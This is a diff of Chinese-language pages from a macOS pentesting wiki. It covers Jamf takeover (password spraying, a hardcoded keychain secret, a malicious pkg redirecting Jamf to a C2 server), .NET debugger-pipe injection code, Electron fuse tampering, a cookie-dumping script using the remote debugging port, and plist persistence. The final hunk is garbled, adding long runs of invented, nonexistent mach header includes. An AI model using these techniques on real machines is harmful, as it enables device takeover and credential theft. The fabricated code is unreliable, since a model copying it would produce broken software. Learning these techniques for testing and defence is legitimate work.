你可以使用脚本[**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py)进行密码喷洒攻击。
|
||||||
|
|
||||||
|
@ -53,15 +53,15 @@ JAMF可以运行**自定义脚本**(由系统管理员开发的脚本)、**
|
||||||
|
|
||||||
#### JAMF设备认证
|
#### JAMF设备认证
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**`jamf`**二进制文件包含了打开钥匙串的秘密,该秘密在发现时是**共享**的,它是:**`jk23ucnq91jfu9aj`**。\
|
**`jamf`**二进制文件包含了打开钥匙串的秘密,当时这个秘密是**共享**的,它是:**`jk23ucnq91jfu9aj`**。\
|
||||||
此外,jamf作为一个**LaunchDaemon**在**`/Library/LaunchAgents/com.jamf.management.agent.plist`**中持久存在。
|
此外,jamf作为一个**LaunchDaemon**在**`/Library/LaunchAgents/com.jamf.management.agent.plist`**中持久存在。
|
||||||
|
|
||||||
#### 接管JAMF设备
|
#### 接管JAMF设备
|
||||||
|
|
||||||
**`jamf`**将使用的**JSS**(Jamf软件服务器)**URL**位于**`/Library/Preferences/com.jamfsoftware.jamf.plist`**中。\
|
**`jamf`**将使用的**JSS**(Jamf软件服务器)**URL**位于**`/Library/Preferences/com.jamfsoftware.jamf.plist`**中。\
|
||||||
该文件基本上包含了URL:
|
这个文件基本上包含了URL:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
|
@ -76,7 +76,7 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
|
||||||
<integer>4</integer>
|
<integer>4</integer>
|
||||||
[...]
|
[...]
|
||||||
```
|
```
|
||||||
所以,攻击者可以放置一个恶意的软件包(`pkg`),当安装时覆盖这个文件,将URL设置为来自Typhon代理的Mythic C2监听器,从而能够滥用JAMF作为C2。
|
因此,攻击者可以在安装时放置一个恶意的软件包(`pkg`),该软件包会**覆盖此文件**,并将**URL设置为来自Typhon代理的Mythic C2监听器**,从而能够滥用JAMF作为C2。
|
||||||
```bash
|
```bash
|
||||||
# After changing the URL you could wait for it to be reloaded or execute:
|
# After changing the URL you could wait for it to be reloaded or execute:
|
||||||
sudo jamf policy -id 0
|
sudo jamf policy -id 0
|
||||||
|
|
|
@ -22,7 +22,7 @@
|
||||||
|
|
||||||
* 在**进入恢复模式**时,必须**允许加载内核扩展**:
|
* 在**进入恢复模式**时,必须**允许加载内核扩展**:
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
* 内核扩展必须使用**内核代码签名证书**进行**签名**,该证书只能由**Apple**授予。Apple将详细审查公司和所需原因。
|
* 内核扩展必须使用**内核代码签名证书**进行**签名**,该证书只能由**Apple**授予。Apple将详细审查公司和所需原因。
|
||||||
* 内核扩展还必须经过**公证**,Apple将对其进行恶意软件检查。
|
* 内核扩展还必须经过**公证**,Apple将对其进行恶意软件检查。
|
||||||
|
|
|
@ -17,15 +17,15 @@
|
||||||
### **建立调试会话** <a href="#net-core-debugging" id="net-core-debugging"></a>
|
### **建立调试会话** <a href="#net-core-debugging" id="net-core-debugging"></a>
|
||||||
|
|
||||||
[**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp)负责处理调试器与被调试进程之间的**通信**。\
|
[**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp)负责处理调试器与被调试进程之间的**通信**。\
|
||||||
它通过调用[dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127)中的[twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27)创建每个.Net进程的2个命名管道(一个以**`-in`**结尾,另一个以**`-out`**结尾,其余部分名称相同)。
|
它通过调用[twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27)在每个.Net进程中创建两个命名管道(一个以**`-in`**结尾,另一个以**`-out`**结尾,其余部分名称相同)。
|
||||||
|
|
||||||
因此,如果你进入用户的**`$TMPDIR`**目录,你将能够找到用于调试.Net应用程序的**调试FIFO**:
|
因此,如果你进入用户的**`$TMPDIR`**目录,你将能够找到用于调试.Net应用程序的**调试FIFO**:
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
函数[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259)将处理来自调试器的通信。
|
函数[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259)将处理来自调试器的通信。
|
||||||
|
|
||||||
调试器需要做的第一件事是**创建一个新的调试会话**。这是通过**通过`out`管道发送以`MessageHeader`结构开始的消息**来完成的,我们可以从.NET源代码中获取:
|
调试器需要做的第一件事是**创建一个新的调试会话**。这是通过通过`out`管道发送以`MessageHeader`结构开始的消息来完成的,我们可以从.NET源代码中获取:
|
||||||
```c
|
```c
|
||||||
struct MessageHeader
|
struct MessageHeader
|
||||||
{
|
{
|
||||||
|
@ -66,7 +66,7 @@ sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);
|
||||||
```c
|
```c
|
||||||
write(wr, &sSendHeader, sizeof(MessageHeader));
|
write(wr, &sSendHeader, sizeof(MessageHeader));
|
||||||
```
|
```
|
||||||
在我们的标头之后,我们需要发送一个`sessionRequestData`结构体,其中包含一个GUID来标识我们的会话:
|
以下是我们需要发送的`sessionRequestData`结构体,其中包含一个用于标识我们会话的GUID:
|
||||||
```c
|
```c
|
||||||
// All '9' is a GUID.. right??
|
// All '9' is a GUID.. right??
|
||||||
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));
|
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));
|
||||||
|
|
|
@ -7,7 +7,7 @@
|
||||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -15,21 +15,21 @@
|
||||||
## 基本信息
|
## 基本信息
|
||||||
|
|
||||||
如果你不知道什么是Electron,你可以在[**这里找到大量信息**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps)。但现在只需知道Electron运行**node**。\
|
如果你不知道什么是Electron,你可以在[**这里找到大量信息**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps)。但现在只需知道Electron运行**node**。\
|
||||||
而node有一些**参数**和**环境变量**,可以用来**执行除指定文件外的其他代码**。
|
而node有一些**参数**和**环境变量**,可以用来**执行其他代码**,而不仅仅是指定的文件。
|
||||||
|
|
||||||
### Electron保险丝
|
### Electron保险丝
|
||||||
|
|
||||||
接下来将讨论这些技术,但最近Electron添加了几个**安全标志以防止它们**。这些是[**Electron保险丝**](https://www.electronjs.org/docs/latest/tutorial/fuses),用于**防止**macOS上的Electron应用程序**加载任意代码**:
|
接下来将讨论这些技术,但最近Electron添加了几个**安全标志来防止它们**。这些是[**Electron保险丝**](https://www.electronjs.org/docs/latest/tutorial/fuses),这些是用于**防止**macOS上的Electron应用程序**加载任意代码**的保险丝:
|
||||||
|
|
||||||
* **`RunAsNode`**:如果禁用,它将阻止使用环境变量**`ELECTRON_RUN_AS_NODE`**来注入代码。
|
* **`RunAsNode`**:如果禁用,它将阻止使用环境变量**`ELECTRON_RUN_AS_NODE`**来注入代码。
|
||||||
* **`EnableNodeCliInspectArguments`**:如果禁用,像`--inspect`,`--inspect-brk`这样的参数将不会被识别。从而避免了注入代码的方式。
|
* **`EnableNodeCliInspectArguments`**:如果禁用,像`--inspect`,`--inspect-brk`这样的参数将不会被遵守。从而避免了注入代码的方式。
|
||||||
* **`EnableEmbeddedAsarIntegrityValidation`**:如果启用,macOS将验证加载的**`asar`**文件。通过修改此文件的内容,以防止代码注入。
|
* **`EnableEmbeddedAsarIntegrityValidation`**:如果启用,macOS将验证加载的**`asar`**文件。通过修改此文件的内容,以防止代码注入。
|
||||||
* **`OnlyLoadAppFromAsar`**:如果启用,它将只检查和使用app.asar,而不是按以下顺序搜索加载:**`app.asar`**,**`app`**,最后是**`default_app.asar`**。因此,当与**`embeddedAsarIntegrityValidation`**保险丝结合使用时,**无法加载未经验证的代码**。
|
* **`OnlyLoadAppFromAsar`**:如果启用,它将只检查和使用app.asar,而不是按照以下顺序搜索加载:**`app.asar`**,**`app`**,最后是**`default_app.asar`**。因此,当与**`embeddedAsarIntegrityValidation`**保险丝结合使用时,**加载未经验证的代码是不可能的**。
|
||||||
* **`LoadBrowserProcessSpecificV8Snapshot`**:如果启用,浏览器进程将使用名为`browser_v8_context_snapshot.bin`的文件作为其V8快照。
|
* **`LoadBrowserProcessSpecificV8Snapshot`**:如果启用,浏览器进程将使用名为`browser_v8_context_snapshot.bin`的文件进行其V8快照。
|
||||||
|
|
||||||
另一个不会阻止代码注入的有趣保险丝是:
|
另一个不会阻止代码注入的有趣的保险丝是:
|
||||||
|
|
||||||
* **EnableCookieEncryption**:如果启用,磁盘上的cookie存储将使用操作系统级的加密密钥进行加密。
|
* **EnableCookieEncryption**:如果启用,磁盘上的cookie存储将使用操作系统级别的加密密钥进行加密。
|
||||||
|
|
||||||
### 检查Electron保险丝
|
### 检查Electron保险丝
|
||||||
|
|
||||||
|
@ -56,9 +56,9 @@ LoadBrowserProcessSpecificV8Snapshot is Disabled
|
||||||
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
|
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
|
||||||
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches
|
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches
|
||||||
```
|
```
|
||||||
您可以在[https://hexed.it/](https://hexed.it/)中加载此文件并搜索先前的字符串。在此字符串之后,您可以在ASCII中看到一个数字“0”或“1”,表示每个保险丝是否被禁用或启用。只需修改十六进制代码(`0x30`表示`0`,`0x31`表示`1`)以**修改保险丝的值**。
|
你可以在[https://hexed.it/](https://hexed.it/)中加载此文件并搜索先前的字符串。在此字符串之后,您可以在ASCII中看到一个数字“0”或“1”,表示每个保险丝是否被禁用或启用。只需修改十六进制代码(`0x30`表示`0`,`0x31`表示`1`)来**修改保险丝的值**。
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
请注意,如果您尝试使用修改后的字节覆盖应用程序中的**`Electron Framework`二进制文件**,该应用程序将无法运行。
|
请注意,如果您尝试使用修改后的字节覆盖应用程序中的**`Electron Framework`二进制文件**,该应用程序将无法运行。
|
||||||
|
|
||||||
|
@ -169,14 +169,14 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
如果禁用了fuse**`EnableNodeCliInspectArguments`**,应用程序在启动时将**忽略节点参数**(如`--inspect`),除非设置了环境变量**`ELECTRON_RUN_AS_NODE`**,但如果禁用了fuse**`RunAsNode`**,它也将被**忽略**。
|
如果禁用了fuse**`EnableNodeCliInspectArguments`**,应用程序在启动时将**忽略节点参数**(如`--inspect`),除非设置了环境变量**`ELECTRON_RUN_AS_NODE`**,但如果禁用了fuse**`RunAsNode`**,该环境变量也将被**忽略**。
|
||||||
|
|
||||||
但是,您仍然可以使用**electron参数`--remote-debugging-port=9229`**,但之前的有效载荷将无法执行其他进程。
|
但是,您仍然可以使用**electron参数`--remote-debugging-port=9229`**,但之前的有效载荷将无法执行其他进程。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
使用参数**`--remote-debugging-port=9222`**,可以从Electron应用程序中窃取一些信息,例如**历史记录**(使用GET命令)或浏览器的**cookies**(因为它们在浏览器内部被**解密**,并且有一个**json端点**可以提供它们)。
|
使用参数**`--remote-debugging-port=9222`**,可以从Electron应用程序中窃取一些信息,例如浏览器的**历史记录**(使用GET命令)或**cookies**(因为它们在浏览器内部被**解密**,并且有一个**json端点**可以提供它们)。
|
||||||
|
|
||||||
您可以在[**这里**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e)和[**这里**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f)了解如何执行此操作,并使用自动工具[WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut)或类似的简单脚本:
|
您可以在[**这里**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e)和[**这里**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f)了解如何做到这一点,并使用自动工具[WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut)或类似的简单脚本:
|
||||||
```python
|
```python
|
||||||
import websocket
|
import websocket
|
||||||
ws = websocket.WebSocket()
|
ws = websocket.WebSocket()
|
||||||
|
@ -184,9 +184,9 @@ ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00",
|
||||||
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
|
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
|
||||||
print(ws.recv()
|
print(ws.recv()
|
||||||
```
|
```
|
||||||
### 从App Plist进行注入
|
### 从App Plist中进行注入
|
||||||
|
|
||||||
您可以滥用plist中的此环境变量以保持持久性,添加以下键:
|
您可以滥用plist中的这个环境变量来保持持久性,添加以下键:
|
||||||
```xml
|
```xml
|
||||||
<dict>
|
<dict>
|
||||||
<key>ProgramArguments</key>
|
<key>ProgramArguments</key>
|
||||||
|
|
|
@ -39,7 +39,7 @@ n2 : uint32_t);
|
||||||
```bash
|
```bash
|
||||||
mig -header myipcUser.h -sheader myipcServer.h myipc.defs
|
mig -header myipcUser.h -sheader myipcServer.h myipc.defs
|
||||||
```
|
```
|
||||||
在当前目录中将创建几个新文件。
|
当前目录将创建几个新文件。
|
||||||
|
|
||||||
在文件**`myipcServer.c`**和**`myipcServer.h`**中,您可以找到**`SERVERPREFmyipc_subsystem`**结构的声明和定义,该结构基本上定义了根据接收到的消息ID调用的函数(我们指定了起始编号为500):
|
在文件**`myipcServer.c`**和**`myipcServer.h`**中,您可以找到**`SERVERPREFmyipc_subsystem`**结构的声明和定义,该结构基本上定义了根据接收到的消息ID调用的函数(我们指定了起始编号为500):
|
||||||
|
|
||||||
|
@ -82,430 +82,137 @@ myipc_server_routine,
|
||||||
#include <mach/mach_time.h>
|
#include <mach/mach_time.h>
|
||||||
#include <mach/mach_host.h>
|
#include <mach/mach_host.h>
|
||||||
#include <mach/mach_host_priv.h>
|
#include <mach/mach_host_priv.h>
|
||||||
|
#include <mach/mach_host_server.h>
|
||||||
|
#include <mach/mach_host_user.h>
|
||||||
|
#include <mach/mach_host_reboot.h>
|
||||||
#include <mach/mach_host_special_ports.h>
|
#include <mach/mach_host_special_ports.h>
|
||||||
#include <mach/mach_vm.h>
|
#include <mach/mach_host_info.h>
|
||||||
#include <mach/mach_voucher_types.h>
|
#include <mach/mach_host_notify.h>
|
||||||
#include <mach/mach_voucher.h>
|
#include <mach/mach_host_security.h>
|
||||||
#include <mach/mach_time.h>
|
#include <mach/mach_host_policy.h>
|
||||||
#include <mach/mach_host.h>
|
#include <mach/mach_host_qos.h>
|
||||||
#include <mach/mach_host_priv.h>
|
#include <mach/mach_host_ledger.h>
|
||||||
#include <mach/mach_host_special_ports.h>
|
#include <mach/mach_host_statistics.h>
|
||||||
#include <mach/mach_vm.h>
|
#include <mach/mach_host_vm_info.h>
|
||||||
#include <mach/mach_voucher_types.h>
|
#include <mach/mach_host_vm_priv.h>
|
||||||
#include <mach/mach_voucher.h>
|
#include <mach/mach_host_vm_ext.h>
|
||||||
#include <mach/mach_time.h>
|
#include <mach/mach_host_vm_prot.h>
|
||||||
#include <mach/mach_host.h>
|
#include <mach/mach_host_vm_behavior.h>
|
||||||
#include <mach/mach_host_priv.h>
|
#include <mach/mach_host_vm_region.h>
|
||||||
#include <mach/mach_host_special_ports.h>
|
#include <mach/mach_host_vm_wire.h>
|
||||||
#include <mach/mach_vm.h>
|
#include <mach/mach_host_vm_purgable.h>
|
||||||
#include <mach/mach_voucher_types.h>
|
#include <mach/mach_host_vm_info_internal.h>
|
||||||
#include <mach/mach_voucher.h>
|
#include <mach/mach_host_vm_info_external.h>
|
||||||
#include <mach/mach_time.h>
|
#include <mach/mach_host_vm_info_shared.h>
|
||||||
#include <mach/mach_host.h>
|
#include <mach/mach_host_vm_info_compressed.h>
|
||||||
#include <mach/mach_host_priv.h>
|
#include <mach/mach_host_vm_info_region.h>
|
||||||
#include <mach/mach_host_special_ports.h>
|
#include <mach/mach_host_vm_info_region_internal.h>
|
||||||
#include <mach/mach_vm.h>
|
#include <mach/mach_host_vm_info_region_external.h>
|
||||||
#include <mach/mach_voucher_types.h>
|
#include <mach/mach_host_vm_info_region_shared.h>
|
||||||
#include <mach/mach_voucher.h>
|
#include <mach/mach_host_vm_info_region_compressed.h>
|
||||||
#include <mach/mach_time.h>
|
#include <mach/mach_host_vm_info_region_purgable.h>
|
||||||
#include <mach/mach_host.h>
|
#include <mach/mach_host_vm_info_region_purgable_internal.h>
|
||||||
#include <mach/mach_host_priv.h>
|
#include <mach/mach_host_vm_info_region_purgable_external.h>
|
||||||
#include <mach/mach_host_special_ports.h>
|
#include <mach/mach_host_vm_info_region_purgable_shared.h>
|
||||||
#include <mach/mach_vm.h>
|
#include <mach/mach_host_vm_info_region_purgable_compressed.h>
|
||||||
#include <mach/mach_voucher_types.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior.h>
|
||||||
#include <mach/mach_voucher.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_internal.h>
|
||||||
#include <mach/mach_time.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_external.h>
|
||||||
#include <mach/mach_host.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_shared.h>
|
||||||
#include <mach/mach_host_priv.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_compressed.h>
|
||||||
#include <mach/mach_host_special_ports.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable.h>
|
||||||
#include <mach/mach_vm.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_internal.h>
|
||||||
#include <mach/mach_voucher_types.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_external.h>
|
||||||
#include <mach/mach_voucher.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_shared.h>
|
||||||
#include <mach/mach_time.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_compressed.h>
|
||||||
#include <mach/mach_host.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior.h>
|
||||||
#include <mach/mach_host_priv.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_internal.h>
|
||||||
#include <mach/mach_host_special_ports.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_external.h>
|
||||||
#include <mach/mach_vm.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_shared.h>
|
||||||
#include <mach/mach_voucher_types.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_compressed.h>
|
||||||
#include <mach/mach_voucher.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable.h>
|
||||||
#include <mach/mach_time.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_internal.h>
|
||||||
#include <mach/mach_host.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_external.h>
|
||||||
#include <mach/mach_host_priv.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_shared.h>
|
||||||
#include <mach/mach_host_special_ports.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_compressed.h>
|
||||||
#include <mach/mach_vm.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior.h>
|
||||||
#include <mach/mach_voucher_types.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_internal.h>
|
||||||
#include <mach/mach_voucher.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_external.h>
|
||||||
#include <mach/mach_time.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_shared.h>
|
||||||
#include <mach/mach_host.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_compressed.h>
|
||||||
#include <mach/mach_host_priv.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable.h>
|
||||||
#include <mach/mach_host_special_ports.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_internal.h>
|
||||||
#include <mach/mach_vm.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_external.h>
|
||||||
#include <mach/mach_voucher_types.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_shared.h>
|
||||||
#include <mach/mach_voucher.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_compressed.h>
|
||||||
#include <mach/mach_time.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior.h>
|
||||||
#include <mach/mach_host.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_internal.h>
|
||||||
#include <mach/mach_host_priv.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_external.h>
|
||||||
#include <mach/mach_host_special_ports.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_shared.h>
|
||||||
#include <mach/mach_vm.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_compressed.h>
|
||||||
#include <mach/mach_voucher_types.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable.h>
|
||||||
#include <mach/mach_voucher.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_internal.h>
|
||||||
#include <mach/mach_time.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_external.h>
|
||||||
#include <mach/mach_host.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_shared.h>
|
||||||
#include <mach/mach_host_priv.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_compressed.h>
|
||||||
#include <mach/mach_host_special_ports.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior.h>
|
||||||
#include <mach/mach_vm.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_internal.h>
|
||||||
#include <mach/mach_voucher_types.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_external.h>
|
||||||
#include <mach/mach_voucher.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_shared.h>
|
||||||
#include <mach/mach_time.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_compressed.h>
|
||||||
#include <mach/mach_host.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable.h>
|
||||||
#include <mach/mach_host_priv.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_internal.h>
|
||||||
#include <mach/mach_host_special_ports.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_external.h>
|
||||||
#include <mach/mach_vm.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_shared.h>
|
||||||
#include <mach/mach_voucher_types.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_compressed.h>
|
||||||
#include <mach/mach_voucher.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior.h>
|
||||||
#include <mach/mach_time.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_internal.h>
|
||||||
#include <mach/mach_host.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_external.h>
|
||||||
#include <mach/mach_host_priv.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_shared.h>
|
||||||
#include <mach/mach_host_special_ports.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_compressed.h>
|
||||||
#include <mach/mach_vm.h>
|
